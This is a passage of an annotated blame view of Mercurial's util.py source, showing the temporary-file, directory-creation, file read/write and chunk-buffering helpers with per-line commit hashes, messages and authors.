parents:
15050
diff
changeset
|
2482 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2483 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2484 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2485 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2486 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2487 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2488 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2489 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2490 def __del__(self): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2491 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2492 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2493 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2494 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2495 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2496 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2497 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2498 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2499 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2500 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2501 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2502 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2503 |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2504 def unlinkpath(f, ignoremissing=False, rmdir=True): |
31539 | 2505 """unlink and remove the directory if it is empty""" |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2506 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2507 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2508 else: |
31539 | 2509 unlink(f) |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2510 if rmdir: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2511 # try removing directories that might now be empty |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2512 try: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2513 removedirs(os.path.dirname(f)) |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2514 except OSError: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2515 pass |
31539 | 2516 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2517 |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2518 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2519 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2520 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2521 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2522 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2523 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2524 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2525 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2526 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2527 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2528 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2529 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2530 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2531 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2532 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2533 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2534 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2535 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2536 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2537 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2538 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2539 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2540 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2541 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2542 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2543 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2544 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2545 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2546 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2547 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2548 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2549 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2550 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2551 raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2552 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2553 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
2554 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2555 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2556 def readfile(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2557 with open(path, b'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
2558 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2559 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2560 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2561 def writefile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2562 with open(path, b'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2563 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2564 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2565 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2566 def appendfile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2567 with open(path, b'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2568 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2569 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2570 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2571 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2572 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2573 iterator over chunks of arbitrary size.""" |
1200 | 2574 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
2575 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
2576 """in_iter is the iterator that's iterating over the input chunks.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2577 |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2578 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2579 for chunk in chunks: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2580 if len(chunk) > 2 ** 20: |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2581 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2582 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2583 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2584 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2585 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2586 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2587 yield chunk |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2588 |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2589 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
2590 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2591 self._chunkoffset = 0 |
1200 | 2592 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2593 def read(self, l=None): |
1200 | 2594 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2595 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2596 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
2597 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2598 if l is None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2599 return b''.join(self.iter) |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2600 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2601 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2602 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
2603 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2604 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2605 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2606 if not queue: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2607 target = 2 ** 18 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2608 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2609 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2610 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2611 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2612 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2613 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2614 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2615 |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2616 # The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2617 # chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2618 # where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2619 # mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2620 # queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2621 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2622 chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2623 chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2624 offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2625 |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2626 # Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2627 if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2628 left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2629 queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2630 buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2631 # self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2632 continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2633 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2634 chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2635 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2636 # Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2637 if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2638 left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2639 queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2640 # offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2641 # copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2642 buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2643 self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2644 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2645 # Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2646 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2647 buf.append(chunk[offset : offset + left]) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2648 self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2649 left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2650 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2651 return b''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2652 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2653 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2654 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2655 """Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2656 (default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2657 to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2658 chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2659 some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2660 requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2661 assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2662 assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2663 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2664 if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2665 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2666 else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2667 nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2668 s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2669 if not s: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
